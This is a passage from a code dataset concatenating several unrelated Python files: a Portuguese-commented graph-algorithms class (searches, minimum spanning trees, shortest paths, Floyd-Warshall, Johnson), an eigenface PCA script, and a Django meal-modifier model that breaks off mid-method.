v.visitado == 0:\n v.visitado = 1\n v.predecessor = u\n print(\"\\tAdicionando vizinho {} na fila\".format(v.valor))\n fila.append(v)\n _iter += 1\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tFila vazia!\")\n\n def busca_largura_distancia(self, s):\n '''algoritmo 23.6'''\n s.visitado = 1\n fila = []\n fila.append(s)\n _iter = 1\n print(\"Começando com o vértice {}\".format(s.valor))\n print(\"Estado da fila: {}\".format([f.valor for f in fila]))\n while(len(fila) > 0):\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tEstado da fila: {}\".format([f.valor for f in fila]))\n u = fila[0] # desenfileirar\n print(\"\\tRemovendo o {} da fila\".format(u.valor))\n fila = fila[1:]\n for v in self.vizinhanca(u):\n if v.visitado == 0:\n v.visitado = 1\n v.distancia = u.distancia + 1\n v.predecessor = u\n print(\"\\tAdicionando vizinho {} na fila com distância {}\".format(\n v.valor, v.distancia))\n fila.append(v)\n _iter += 1\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tFila vazia!\")\n\n def busca_prof_iterativa(self, s):\n '''algoritmo 23.7'''\n s.visitado = 1\n pilha = []\n pilha.append(s)\n _iter = 1\n print(\"Começando com o vértice {}\".format(s.valor))\n print(\"Estado da pilha: {}\".format([f.valor for f in pilha]))\n while (len(pilha) > 0):\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tEstado da pilha: {}\".format([f.valor for f in pilha]))\n u = pilha[-1] # consulta\n visitados = True\n for v in self.vizinhanca(u):\n if v.visitado == 0:\n v.visitado = 1\n v.predecessor = u\n pilha.append(v)\n print(\"\\tAdicionando vizinho {} na pilha com o predecessor {}\".format(\n v.valor, u.valor))\n visitados = False\n break\n # desempilha quando todos vizinhos forem visitados\n if visitados:\n print(\"\\tDesempilhando {} da pilha\".format(pilha[-1].valor))\n pilha = pilha[:-1]\n _iter += 1\n print(\"Iteração: {}\".format(_iter))\n print(\"\\tPilha vazia!\")\n\n def busca_prof_recursiva(self, s):\n '''algoritmo 23.8'''\n s.visitado = 1\n check = False\n print(\"Visitando o vértice {}\".format(s.valor))\n for v in self.vizinhanca(s):\n if v.visitado == 0:\n check = True\n v.predecessor = s\n print(\"\\tChamada para o vizinho {} com o predecessor {}\".format(\n v.valor, s.valor))\n self.busca_prof_recursiva(v)\n if not check:\n print(\"\\tTodos os vizinhos do vértice {} foram visitados\".format(s.valor))\n\n def busca_profundidade(self, s):\n '''algoritmo 23.9 e 23.12'''\n self.pre_ordem.append(s)\n s.visitado = 1\n # print(\"Adicionando o vértice {} na lista de pré-ordem\".format(s.valor))\n # print(\"Estado atual da lista de pré-ordem: {}\".format(\n # [v.valor for v in self.pre_ordem]))\n for v in self.vizinhanca(s):\n if v.visitado == 0:\n v.predecessor = s\n v.componente = s.componente\n # print(\"Chamada para o vizinho {} com o predecessor {}\".format(\n # v.valor, s.valor))\n self.busca_profundidade(v)\n self.pos_ordem.append(s)\n self.pos_ordem_reversa = [s] + self.pos_ordem_reversa\n # print(\"Estado atual da lista de pós-ordem: {}\".format(\n # [v.valor for v in self.pos_ordem]))\n # print(\"Estado atual da lista de pós-ordem reversa: {}\".format(\n # [v.valor for v in self.pos_ordem_reversa]))\n\n def busca_componentes(self):\n '''algoritmo 23.10'''\n for v in self.V[1:]:\n v.visitado = 0\n v.predecessor = None\n qtd_componentes = 0\n for s in self.V[1:]:\n if s.visitado == 0:\n print(\"Visitando vértice {}: chama busca em profundidade\".format(\n s.valor))\n s.visitado = 1\n s.componente = s.valor\n qtd_componentes += 1\n self.busca_profundidade(s)\n print(\"Fim da busca em profundidade no vértice {}\".format(s.valor))\n else:\n print(\"Visitando vértice {}: vértice já visitado!\".format(s.valor))\n return qtd_componentes\n\n def _verifica_ciclo(self, s, matriz_aux):\n s.visitado = 1\n for v in self.vizinhanca(s):\n if matriz_aux[s.valor][v.valor]:\n continue\n matriz_aux[s.valor][v.valor], matriz_aux[v.valor][s.valor] = 1, 1\n if v.visitado:\n matriz_aux[0][0] = 1\n self._verifica_ciclo(v, matriz_aux)\n\n def kruskal(self):\n '''algoritmo 24.1'''\n C = sorted(deepcopy(self.E), key=lambda e: e[2])\n F = [] # conjunto de arestas\n _iter = 1\n for c in C:\n print(\"Iteração {}:\".format(_iter))\n _G = MatrizAdjacencias(\n [v.valor for v in deepcopy(self.V)], E=F+[c])\n matriz_aux = [[0 for x in range(len(self.V))]\n for y in range(len(self.V))]\n _G._verifica_ciclo(_G.V[c[0]], matriz_aux)\n if not matriz_aux[0][0]:\n F = F+[c]\n print(\"\\tNão há ciclo. Adicionando a aresta {} em F\".format(c))\n print(\"\\tEstado atual de F: {}\".format([f for f in F]))\n else:\n print(\"\\tHá ciclo se adicionar a aresta {} em F\".format(c))\n _iter += 1\n return F\n\n def kruskal_union_find(self):\n '''algoritmo 24.2'''\n C = sorted(deepcopy(self.E), key=lambda e: e[2])\n F = [] # conjunto de arestas\n sets = [UnionFind(v.valor) for v in self.V]\n _iter = 1\n for c in C:\n print(\"Iteração {}\".format(_iter))\n u, v = sets[c[0]], sets[c[1]]\n print(\"\\tTestando aresta {}-{}\".format(c[0], c[1]))\n if u.find_set() != v.find_set():\n F = F+[c]\n UnionFind.union(u, v)\n print(\"\\tAresta {}-{} adicionada\".format(c[0], c[1]))\n print(\"\\tEstado da Union-Find:\")\n [print(\"\\t\\tVértice: {} Representante: {} Tamanho: {} Lista: {}\".format(s.valor, s.representante.valor, len(s.lista), [e.valor for e in s.lista]))\n for s in sets[1:]]\n else:\n print(\"\\tArestas com o mesmo representante {}\".format(\n u.representante.valor))\n _iter += 1\n return F\n\n def prim(self):\n '''algoritmo 24.3'''\n for v in self.V:\n v.visitado = 0\n v.predecessor = None\n x = self.V[6] # escolha de qualquer vértice\n print(\"Iniciando pelo vértice {}\".format(x.valor))\n x.visitado = 1\n visitados = []\n _n = 1\n while (len([0 for v in self.V[1:] if not v.visitado])):\n print(\"Iteração: \", _n)\n for e in sorted(deepcopy(self.E), key=lambda e: e[2]):\n if (self.V[e[0]].visitado == 1) and (self.V[e[1]].visitado == 0):\n print(\"\\tAresta mímina {}-{} adicionada com peso {}\".format(e[0], e[1],\n e[2]))\n self.V[e[1]].visitado = 1\n self.V[e[1]].predecessor = self.V[e[0]]\n visitados.append(\n [self.V[e[0]].valor, self.V[e[1]].valor])\n print(\"\\tVértices visitados: {}\".format(\n [_v.valor for _v in self.V[1:] if _v.visitado]))\n break\n elif self.V[e[0]].visitado == 0 and self.V[e[1]].visitado == 1:\n print(\"\\tAresta mímina {}-{} adicionada com peso {}\".format(e[0], e[1],\n e[2]))\n self.V[e[0]].visitado = 1\n self.V[e[0]].predecessor = self.V[e[1]]\n visitados.append(\n [self.V[e[1]].valor, self.V[e[0]].valor])\n print(\"\\tVértices visitados: {}\".format(\n [_v.valor for _v in self.V[1:] if _v.visitado]))\n break\n _n += 1\n print(\"Não há mais vértice não visitado\")\n print(\"Lista de arestas utilizadas: \")\n [print(x) for x in visitados]\n\n def prim_heap(self):\n '''algoritmo 24.4'''\n w = [[0 for x in range(len(self.E))] for y in range(len(self.E))]\n for e in self.E:\n w[e[0]][e[1]], w[e[1]][e[0]] = e[2], e[2]\n s = self.V[6] # escolha de qualquer vértice\n s.visitado = 1\n s.predecessor = None\n # H = [None for e in range(len(self.E))]\n H = []\n print(\"Vertice {} escolhido inicialmente\".format(s.valor))\n print(\"Atualizando prioridade, visitado e predecessor dos vizinhos de {}\"\n .format(s.valor))\n for v in self.vizinhanca(s):\n print(\"\\tAcessando o vértice {}\".format(v.valor))\n v.prioridade = -w[s.valor][v.valor]\n v.visitado = 0\n v.predecessor = s\n insere_heap(H, v)\n print(\"\\tEstado atual da Heap: \", [h.valor for h in H])\n print(\"\\tpredecessor: \", end=\"\")\n [print(h.predecessor.valor, end=\" \") if h.predecessor is not None else print(None, end=\" \")\n for h in H]\n print(\"\\n\\tvisitado: \", end=\"\")\n [print(h.visitado, end=\" \") for h in H]\n print(\"\\n\\tindice: \", end=\"\")\n [print(h.indice, end=\" \") for h in H]\n print(\"\\n\\tprioridade: \", end=\"\")\n [print(h.prioridade, end=\" \") for h in H]\n print()\n print(\"\\nAtualizando prioridade, visitado e predecessores dos não vizinhos de {}\".\n format(s.valor))\n for v in self.nao_vizinhanca(s):\n print(\"\\tAcessando o vértice {}\".format(v.valor))\n v.prioridade = -inf\n v.visitado = 0\n v.predecessor = None\n insere_heap(H, v)\n print(\"\\tEstado atual da Heap: \", [h.valor for h in H])\n print(\"\\tpredecessor: \", end=\"\")\n [print(h.predecessor.valor, end=\" \") if h.predecessor is not None else print(None, end=\" \")\n for h in H]\n print(\"\\n\\tvisitado: \", end=\"\")\n [print(h.visitado, end=\" \") for h in H]\n print(\"\\n\\tindice: \", end=\"\")\n [print(h.indice, end=\" \") for h in H]\n print(\"\\n\\tprioridade: \", end=\"\")\n [print(h.prioridade, end=\" \") for h in H]\n print()\n while len(H) > 0:\n print(\"\\nRevomendo o vértice {} da heap\".format(H[0].valor))\n v, H = remove_heap(H)\n v.visitado = 1\n for x in self.vizinhanca(v):\n if x.visitado == 0 and x.prioridade < -w[v.valor][x.valor]:\n x.predecessor = v\n altera_heap(H, x.indice, -w[v.valor][x.valor])\n print(\"Prioridades atualizadas da Heap: \", [h.valor for h in H])\n print(\"\\nÁrvore geradora com os predecessores\")\n for v in self.V[1:]:\n predecessor = \"None\" if v.predecessor is None else v.predecessor.valor\n print(\"Vertice: {}, prioridade: {}, predecessor: {}\".format(\n v.valor, v.prioridade, predecessor))\n\n\nclass MatrizAdjacenciasDigrafo(MatrizAdjacencias):\n def __init__(self, V, E):\n self.V = [Vertice(v) for v in V[:]]\n self.E = E[:]\n self.matriz = [[0 for x in range(len(V))] for y in range(len(V))]\n for e in E:\n self.matriz[e[0]][e[1]] = 1\n self.pre_ordem, self.pos_ordem, self.pos_ordem_reversa = [], [], []\n self.ciclo_negativo = False\n # tabela custo dos caminhos\n self.W = None\n # funcao de distancias entre vertices\n self.w = [[0 for x in range(len(self.V))] for y in range(len(self.V))]\n for e in self.E:\n self.w[e[0]][e[1]] = e[2]\n # iniciando lista de predecessores\n for v in self.V:\n v.predecessores = [None for i in self.V]\n v.distancias = [None for i in self.V]\n\n @ staticmethod\n def reverso(G):\n E = deepcopy(G.E)\n for e in E:\n e[0], e[1] = e[1], e[0]\n return MatrizAdjacenciasDigrafo([v.valor for v in G.V], E)\n\n def componentes_fortemente_conexas(self):\n '''algoritmo 23.13'''\n for v in self.V[1:]:\n v.visitado = 0\n v.predecessor = None\n inverso = self.reverso(self)\n print(\"Iniciando com a busca de componentes\")\n inverso.busca_componentes()\n print(\"Fim da busca de componentes\")\n for v in inverso.V[1:]:\n v.visitado = 0\n print(\"Estado da pós-ordem reversa: {}\".format(\n [i.valor for i in inverso.pos_ordem_reversa]))\n _iter = 1\n for u in inverso.pos_ordem_reversa:\n print(\"\\nIteração: {}\".format(_iter))\n if self.V[u.valor].visitado == 0:\n print(\"Acessando o vértice {}\".format(u.valor))\n print(\"Adicionando o vértice {} na componente {}\".format(\n u.valor, u.valor))\n self.V[u.valor].componente = u.valor\n print(\"Chamando busca em profundidade para o vértice {}\".format(\n u.valor))\n self.busca_profundidade(self.V[u.valor])\n else:\n print(\"Vértice {} já visitado. Está na componente {}\".format(\n u.valor, u.componente))\n _iter += 1\n\n def ordenacao_topologica(self):\n '''algoritmo 23.14'''\n# print(\"Fazendo a chamada para para busca de componentes\")\n self.busca_componentes()\n# print(\"Fim da busca de componentes\")\n f = []\n print(\"Estado da lista de pós-ordem reversa: {}\".format(\n [v.valor for v in self.pos_ordem_reversa]))\n _iter = 1\n for atual in self.pos_ordem_reversa:\n print(\"Iteração {}: Adicionando o vértice {} na lista\".format(\n _iter, atual.valor))\n f.append(atual)\n _iter += 1\n return f\n\n def _arco(self, s, v):\n self.matriz[s.valor][v.valor] = 0\n # print(\"Chamada busca em profundidade\")\n self.chama_busca(v, tipo_busca='profundidade')\n # print(\"Fim da busca em profundidade\")\n if self.V[s.valor].visitado:\n self.matriz[s.valor][v.valor] = 1\n return True\n else:\n self.matriz[s.valor][v.valor] = 1\n return False\n\n def fleury(self, s):\n '''algoritmo 25.1'''\n W = [None for v in range(len(self.E)+2)]\n W[1] = s\n i = 1\n vizinhos = self.vizinhanca(W[i])\n while(len(vizinhos) >= 1):\n print(\"Iteração {} :\".format(i))\n print(\"\\tAcessando o vértice {}\".format(W[i].valor))\n print(\"\\tVizinhos: {}\".format(\n [vizinho.valor for vizinho in vizinhos]))\n seguro = False\n for y in vizinhos:\n if (self._arco(W[i], y)): # seguro\n seguro = True\n break\n if seguro:\n print(\"\\tHá arco seguro entre {} e {}\".format(\n W[i].valor, y.valor))\n W[i+1] = y\n else:\n print(\n \"\\tNão há arco seguro saindo do vértice {}\".format(W[i].valor))\n W[i+1] = vizinhos[0]\n # remove aresta em D\n self.matriz[W[i].valor][W[i+1].valor] = 0\n i += 1\n vizinhos = self.vizinhanca(W[i])\n print(\"\\tEstado atual da trilha: {}\".format(\n [w.valor for w in W if w is not None]))\n return W\n\n def dijkstra(self, s):\n '''algoritmo 26.1'''\n for v in self.V:\n v.predecessor = None\n v.distancia = inf\n v.visitado = 0\n s.distancia = 0\n _iter = 1\n while(len([1 for u in self.V if u.visitado == 0 and u.distancia != inf]) > 0):\n print(\"Iteração {}\".format(_iter))\n _vertices = sorted(self.V, key=lambda e: e.distancia)\n x = [v for v in _vertices if v.visitado == 0][0]\n x.visitado = 1\n print(\"\\tVisitando o vértice {}\".format(x.valor))\n # print(\"Vizinhos: {}\".format(\n # [_x.valor for _x in self.vizinhanca(x)]))\n relaxamento = False\n for y in self.vizinhanca(x):\n if y.visitado == 0:\n if x.distancia+self.w[x.valor][y.valor] < y.distancia:\n relaxamento = True\n print(\"\\tRelaxando arco {}-{}. Distância do vértice {} alterada de {} para {}\".format(\n x.valor, y.valor, y.valor, y.distancia, x.distancia+self.w[x.valor][y.valor]))\n y.distancia = x.distancia+self.w[x.valor][y.valor]\n y.predecessor = x\n if not relaxamento:\n print(\"\\tSem arcos para relaxar\")\n print(\"\\tEstado de antecedores dos vértices: {}\".format(\n [\"{}:{}\".format(_n+1, v.predecessor.valor) if v.predecessor is not None else \"{}:{}\".format(_n+1, 'Null') for _n, v in enumerate(self.V[1:])]))\n _iter += 1\n\n def dijkstra_heap(self, s):\n '''algoritmo 26.2'''\n H = []\n for v in self.V[1:]:\n v.predecessor = None\n v.prioridade = -inf\n v.visitado = 0\n insere_heap(H, v)\n altera_heap(H, s.indice, 0)\n print(\"Iniciando Heap. Apenas o Vértice {} com prioridade {}\".format(\n s.valor, s.prioridade))\n print(\"\\tEstado atual da Heap: \", [h.valor for h in H])\n _iter = 1\n while(len(H) > 0 and consulta_heap(h=H).prioridade != -inf):\n print(\"Iteração {}\".format(_iter))\n x, H = remove_heap(H)\n print(\"\\tRemove da heap o vértice {}\".format(x.valor))\n x.visitado = 1\n # print(\"Visitando o vértice {}\".format(x.valor))\n # print(\"Vizinhos: {}\".format(\n # [_x.valor for _x in self.vizinhanca(x)]))\n relaxamento = False\n for y in self.vizinhanca(x):\n if y.visitado == 0:\n if x.prioridade-self.w[x.valor][y.valor] > y.prioridade:\n relaxamento = True\n print(\"\\tRelaxando arco {}-{}. Distância do vértice {} alterada de {} para {}\".format(\n x.valor, y.valor, y.valor, y.prioridade, x.prioridade-self.w[x.valor][y.valor]))\n altera_heap(H, y.indice,\n x.prioridade-self.w[x.valor][y.valor])\n y.predecessor = x\n if not relaxamento:\n print(\"\\tSem arcos para relaxar\")\n print(\"\\tEstado atual da Heap: \", [h.valor for h in H])\n print(\"\\tpredecessor: \", end=\"\")\n [print(_v.predecessor.valor, end=\" \") if _v.predecessor is not None else print(\"Null\", end=\" \")\n for _v in self.V[1:]]\n print(\"\\n\\tvisitado: \", end=\"\")\n [print(_v.visitado, end=\" \") for _v in self.V[1:]]\n print(\"\\n\\tindice: \", end=\"\")\n [print(_v.indice, end=\" \")\n if _v.valor in [_h.valor for _h in H] else print(\" \", end=\" \") for _v in self.V[1:]]\n print(\"\\n\\tprioridade: \", end=\"\")\n [print(_v.prioridade, end=\" \") for _v in self.V[1:]]\n print()\n _iter += 1\n\n def bellman_ford(self, s):\n '''algoritmo 26.3'''\n for v in self.V:\n v.distancia = inf\n v.predecessor = None\n s.distancia = 0\n for i in range(1, len(self.V[1:])):\n for e in self.E:\n x, y = self.V[e[0]], self.V[e[1]]\n if y.distancia > x.distancia+self.w[x.valor][y.valor]:\n y.distancia = x.distancia+self.w[x.valor][y.valor]\n y.predecessor = x\n print(\"Após iteração i = {}\".format(i))\n for v in self.V[1:]:\n if v.predecessor is None:\n predecessor = \"null\"\n else:\n predecessor = v.predecessor.valor\n print(\"Vertice {}: distância {}, predecessor: {} \".format(\n v.valor, v.distancia, predecessor))\n for e in self.E:\n x, y = self.V[e[0]], self.V[e[1]]\n if y.distancia > x.distancia+self.w[x.valor][y.valor]:\n self.ciclo_negativo = True\n if self.ciclo_negativo:\n print(\"Há ciclo negativo no digrafo\")\n else:\n print(\"Não há ciclo negativo no digrafo\")\n\n def caminho(self, i, j, X):\n '''algoritmo 26.4'''\n print('Chamada ({}, {}, {})'.format(i, j, X))\n if len(X) == 0:\n if self.matriz[i][j]:\n return self.w[i][j]\n elif i == j:\n return 0\n return inf\n k = X[0]\n print('Chamada não usa {} ({}, {}, {})'.format(k, i, j, X[1:]))\n nao_usa_k = self.caminho(i, j, X[1:])\n print('Chamada usa {} ({}, {}, {})'.format(k, i, j, X[1:]))\n usa_k = self.caminho(i, k, X[1:])+self.caminho(k, j, X[1:])\n return min(nao_usa_k, usa_k)\n\n def floyd_warshall_top_down(self):\n '''algoritmo 26.5'''\n self.W = [[[inf for k in self.V] for j in self.V] for i in self.V]\n _iter = 1\n for i in self.V[1:]:\n for j in self.V[1:]:\n # print(\n # \"Iteração {}: Chamada floyd_warshall_rec_top_down(k:{}, i:{}, j:{})\".format(_iter, len(self.V[1:]), i.valor, j.valor))\n self.W[i.valor][j.valor][len(self.V[1:])] = self.floyd_warshall_rec_top_down(\n self.w, len(self.V[1:]), i, j)\n _iter += 1\n return self.W\n\n def floyd_warshall_rec_top_down(self, w, k, i, j):\n '''algoritmo 26.6'''\n if self.W[i.valor][j.valor][k] == inf:\n if k == 0:\n if i.valor == j.valor:\n self.W[i.valor][j.valor][0] = 0\n j.predecessores[i.valor] = i\n elif self.matriz[i.valor][j.valor]:\n self.W[i.valor][j.valor][0] = w[i.valor][j.valor]\n j.predecessores[i.valor] = j\n else:\n self.W[i.valor][j.valor][0] = inf\n j.predecessores[i.valor] = None\n else:\n # print(\"Chamada para floyd_warshall_rec_top_down(k:{}, i:{}, j:{}) não usando k\".format(\n # k-1, i.valor, j.valor))\n nao_usa_k = self.floyd_warshall_rec_top_down(w, k-1, i, j)\n # print(\"Chamada para floyd_warshall_rec_top_down(k:{}, i:{}, j:{}) usando k\".format(\n # k-1, i.valor, j.valor))\n usa_k = self.floyd_warshall_rec_top_down(w, k-1, i, self.V[k]) +\\\n self.floyd_warshall_rec_top_down(w, k-1, self.V[k], j)\n if nao_usa_k < usa_k:\n # print(\"Não vale a pena com o k={}\".format(k-1))\n self.W[i.valor][j.valor][k] = nao_usa_k\n else:\n # print(\"Vale a pena com o k={}\".format(k))\n self.W[i.valor][j.valor][k] = usa_k\n j.predecessores[i.valor] = j.predecessores[k]\n # else:\n # print(\"Custo com o k={}: {}\".format(\n # k, self.W[i.valor][j.valor][k]))\n return self.W[i.valor][j.valor][k]\n\n def floyd_warshall_bottom_up(self):\n '''algoritmo 26.7'''\n self.W = [[[inf for k in self.V] for j in self.V] for i in self.V]\n # _iter = 1\n for i in self.V[1:]:\n for j in self.V[1:]:\n # print(\"Iteração {}: vertice i={} vértice j={}\".format(\n # _iter, i.valor, j.valor))\n if (i.valor == j.valor):\n # print(\"\\tMesmo vértice. Distância = 0\")\n self.W[i.valor][j.valor][0] = 0\n j.predecessores[i.valor] = i\n elif self.matriz[i.valor][j.valor]:\n # print(\"\\tExiste aresta entre os vértices. Distância = {}\".format(\n # self.w[i.valor][j.valor]))\n self.W[i.valor][j.valor][0] = self.w[i.valor][j.valor]\n j.predecessores[i.valor] = i\n else:\n # print(\"\\tNão existe aresta entre os vértices. Distância = inf\")\n self.W[i.valor][j.valor][0] = inf\n j.predecessores[i.valor] = None\n # _iter += 1\n # print(\"Preenchimento final de W\")\n # _iter = 1\n for k in self.V[1:]:\n for i in self.V[1:]:\n for j in self.V[1:]:\n # print(\"Iteração {}: k= {} com par de vértices ({}, {})\".format(\n # _iter, k.valor, i.valor, j.valor))\n nao_usa_k = self.W[i.valor][j.valor][k.valor-1]\n usa_k = self.W[i.valor][k.valor][k.valor-1] +\\\n self.W[k.valor][j.valor][k.valor-1]\n # print(\"Custo sem k: {}\".format(nao_usa_k))\n # print(\"Custo com k: {}\".format(usa_k))\n if nao_usa_k < usa_k:\n # print(\"Melhor não usar\")\n self.W[i.valor][j.valor][k.valor] = nao_usa_k\n else:\n # print(\"Melhor usar\")\n self.W[i.valor][j.valor][k.valor] = usa_k\n j.predecessores[i.valor] = j.predecessores[k.valor]\n # _iter += 1\n return self.W\n\n def floyd_warshall_melhorado(self):\n '''algoritmo 26.8'''\n self.W = [[inf for j in self.V] for i in self.V]\n _iter = 1\n for i in self.V[1:]:\n for j in self.V[1:]:\n print(\"Iteração {}: par de vértice ({}, {})\".format(\n _iter, i.valor, j.valor))\n if (i.valor == j.valor):\n print(\"\\tMesmo vértice. Distância = 0\")\n self.W[i.valor][j.valor] = 0\n j.predecessores[i.valor] = i\n elif self.matriz[i.valor][j.valor]:\n print(\"\\tExiste aresta entre os vértices. Distância = {}\".format(\n self.w[i.valor][j.valor]))\n self.W[i.valor][j.valor] = self.w[i.valor][j.valor]\n j.predecessores[i.valor] = i\n else:\n print(\"\\tNão existe aresta entre os vértices. Distância = inf\")\n self.W[i.valor][j.valor] = inf\n j.predecessores[i.valor] = None\n _iter += 1\n for k in self.V[1:]:\n for i in self.V[1:]:\n for j in self.V[1:]:\n if self.W[i.valor][j.valor] > self.W[i.valor][k.valor]+self.W[k.valor][j.valor]:\n self.W[i.valor][j.valor] = self.W[i.valor][k.valor] +\\\n self.W[k.valor][j.valor]\n j.predecessores[i.valor] = j.predecessores[k.valor]\n return self.W\n\n def resolve_caminhos_todos_pares(self):\n '''algoritmo 26.9'''\n self.floyd_warshall_melhorado()\n # verificando ciclos negativos\n _iter = 1\n for i in self.V[1:]:\n print(\"Iteração {}\".format(_iter))\n if self.W[i.valor][i.valor] < 0:\n print(\"Custo para {}-{}: {}\".format(\n i.valor, i.valor, self.W[i.valor][i.valor]))\n return None\n print(\"Custo para {}-{}: {}\".format(\n i.valor, i.valor, self.W[i.valor][i.valor]))\n _iter += 1\n return self.W\n\n def constroi_caminho(self, i, j):\n '''algoritmo 26.10'''\n L = []\n atual = j\n while(atual.valor != i.valor):\n L = [atual]+L\n atual = atual.predecessores[i.valor]\n L = [i]+L\n return L\n\n def johnson(self):\n ''''algoritmo 26.11'''\n s = Vertice(len(self.V))\n _e = [[s.valor, v.valor, 0] for v in self.V[1:]]\n _D = MatrizAdjacenciasDigrafo(\n [v.valor for v in self.V+[s]], self.E + _e)\n print(\"Início de Bellman-Ford\")\n _D.bellman_ford(_D.V[s.valor])\n print(\"Fim de Bellman-Ford\")\n if _D.ciclo_negativo:\n return \"O digrafo D contém ciclo de peso negativo\"\n D_ = deepcopy(self)\n for e in D_.E:\n u, v = e[0], e[1]\n D_.w[u][v] = _D.V[u].distancia + _D.w[u][v] - _D.V[v].distancia\n for u in self.V[1:]:\n print(\"Início de Dijkstra para o vértice {}\".format(\n D_.V[u.valor].valor))\n D_.dijkstra(D_.V[u.valor])\n print(\"Fim de Dijkstra para o vértice {}\".format(\n D_.V[u.valor].valor))\n for v in self.V[1:]:\n u.distancias[v.valor] = D_.V[v.valor].distancia +\\\n (_D.V[v.valor].distancia-_D.V[u.valor].distancia)\n","repo_name":"andssuu/mestrado","sub_path":"paa/atividade 5/cap_26/matriz_adjacencias.py","file_name":"matriz_adjacencias.py","file_ext":"py","file_size_in_byte":32971,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"36032546568","text":"from skimage import io\r\nimport numpy as np\r\nimport os, sys\r\n\r\ndef load_data(path='./Aberdeen/*'):\r\n imgs = io.imread_collection(path)\r\n imgs_array = np.array(imgs)\r\n imgs_array = np.reshape(imgs_array, (415,-1))\r\n X = imgs_array.T.astype('float64')\r\n mean_face = np.mean(X, axis=1)\r\n X -= mean_face.reshape(1080000, 1)\r\n # np.save('X.npy', X)\r\n # np.save('mean_face.npy',mean_face)\r\n return X, mean_face\r\n\r\ndef get_SVD(X):\r\n U, s, V = np.linalg.svd(X, full_matrices=False)\r\n # egs = np.reshape(U.copy(), (-1, 600, 600, 3))\r\n # np.save('./U.npy', U)\r\n # np.save('./s.npy', s)\r\n # np.save('./V.npy', V)\r\n return U, s, V\r\n \r\n# for i in range(10):\r\n# io.imsave(\"eg\"+str(i)+\".jpg\", np.reshape((U.T[i]+mean_face), (600, 600, 3)).astype('uint8'))\r\n# X, m = load_data()\r\n# X = np.load('./X.npy')\r\n# m = np.load('./mean_face.npy')\r\n# U = np.load('./U.npy')\r\n# s = np.load('./s.npy')\r\n# V = np.load('./V.npy')\r\n\r\ndef eigenface(U):\r\n for i in range(10):\r\n M = -np.reshape((U.T[i]), (600, 600, 3))\r\n M -= np.min(M)\r\n M /= np.max(M)\r\n M = (M*255).astype('uint8')\r\n io.imsave(\"./faces/eg_\" + str(i) + \".jpg\", M)\r\n\r\ndef see_weight(U, s, V, X):\r\n S = np.diag(s)\r\n C = U.T.dot(X)\r\n W = S.dot(V)\r\n return C, W\r\n\r\ndef reconstruct(x, U, mean_face, dim=4, name='reconstruction.png'):\r\n mean_face = np.reshape(mean_face,(600, 600, 3))\r\n u = U[:,:dim]\r\n w = u.T.dot(x)\r\n res = u.dot(w)\r\n M = np.reshape(res, (600, 600, 3))\r\n M += mean_face\r\n M -= np.min(M)\r\n M /= np.max(M)\r\n M = (M*255).astype('uint8')\r\n io.imsave(name, M)\r\n\r\ndef ratio(idx,s , all=False):\r\n if all:\r\n return s[idx] / s.sum()\r\n else:\r\n return s[idx] / s[:4].sum()\r\n\r\ndef recons_from_img(path, U, mean_face, dim=4, name='reconstruction.png'):\r\n img = io.imread(path)\r\n img_array = np.array(img)\r\n img_array = img_array.reshape((600*600*3,))\r\n x = img_array.astype('float64')\r\n x -= mean_face\r\n reconstruct(x, U, mean_face, dim, name)\r\n\r\nif __name__ == '__main__':\r\n imgs_path = os.path.join(sys.argv[1], '*')\r\n X, m=load_data(imgs_path)\r\n U, s, V = get_SVD(X)\r\n img = os.path.join(sys.argv[1], sys.argv[2])\r\n recons_from_img(img, U, m, name='reconstruction.png')\r\n ","repo_name":"voidism/ML2018SPRING","sub_path":"hw4/p1.py","file_name":"p1.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"75"} +{"seq_id":"22853814160","text":"from django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.utils.translation import gettext_lazy as _\n\n\nclass ModTypes:\n \"\"\"Available types for mods.\"\"\"\n NO = 0\n SUB = 1\n EXTRA = 2\n\n CHOICES = (\n (NO, _('NO')),\n (SUB, _('SUB')),\n (EXTRA, _('EXTRA')),\n )\n\n NAME_TO_VALUE_MAP = {\n choice_name: choice_value\n for choice_value, choice_name in CHOICES\n }\n\n ALLOWED_NAMES_STRING = \", \".join(\n str(CHOICE[1]) for CHOICE in CHOICES\n )\n\n\nclass MealModifier(models.Model):\n \"\"\"Model for meal modifiers.\n\n Meal modifiers are used during meal assignment:\n if a customer has a dislike for a meal ingredient,\n we try to substitute it with a different ingredient, or remove completely.\n\n For that there are 3 mod types: NO (remove), SUB (substitute)\n and EXTRA (add more).\n\n TODO: currently meal assignment service just fetches the first modifier,\n regardless of its mod type. Meaning, it might add EXTRA,\n or substitute to an ingredient which the customer dislikes as well.\n \"\"\"\n meal = models.ForeignKey(\n 'Meal',\n related_name='mods',\n on_delete=models.CASCADE,\n verbose_name=_('Meal'),\n )\n\n ingredient_from = models.ForeignKey(\n 'Ingredient',\n related_name='mods_from',\n on_delete=models.CASCADE,\n verbose_name=_('Ingredient from'),\n )\n\n ingredient_to = models.ForeignKey(\n 'Ingredient',\n related_name='mods_to',\n null=True,\n blank=True,\n on_delete=models.CASCADE,\n verbose_name=_('Ingredient to'),\n )\n\n mod_type = models.PositiveSmallIntegerField(\n default=ModTypes.NO,\n choices=ModTypes.CHOICES,\n verbose_name=_('Modifier type'),\n )\n\n is_soft = models.BooleanField(\n default=False,\n verbose_name=_('Flex'),\n )\n\n class Meta:\n verbose_name = _('Meal Modifier')\n verbose_name_plural = _('Meal Modifiers')\n\n unique_together = (\n ('meal', 'ingredient_from'),\n )\n\n def __str__(self):\n \"\"\"Format string representation based on mod type.\"\"\"\n if self.mod_type == ModTypes.NO:\n return f'NO {self.ingredient_from.name}'\n\n if self.mod_type == ModTypes.SUB:\n return (\n f'NO {self.ingredient_from.name} '\n f'SUB {self.ingredient_to.name}'\n )\n\n result_string = f'{self.ingredient_from.name} EXTRA'\n if self.ingredient_to:\n result_string += f' {self.ingredient_to.name}'\n return result_string\n\n def clean(self):\n \"\"\"Ensure `ingredient_to` is present for SUB/EXTRA, and None for NO.\"\"\"\n if self.mod_type == ModTypes.NO and self.ingredient_to_id is not None:\n msg = 'For NO type the second ingredient must be empty'\n\n elif self.mod_type != ModTypes.NO and 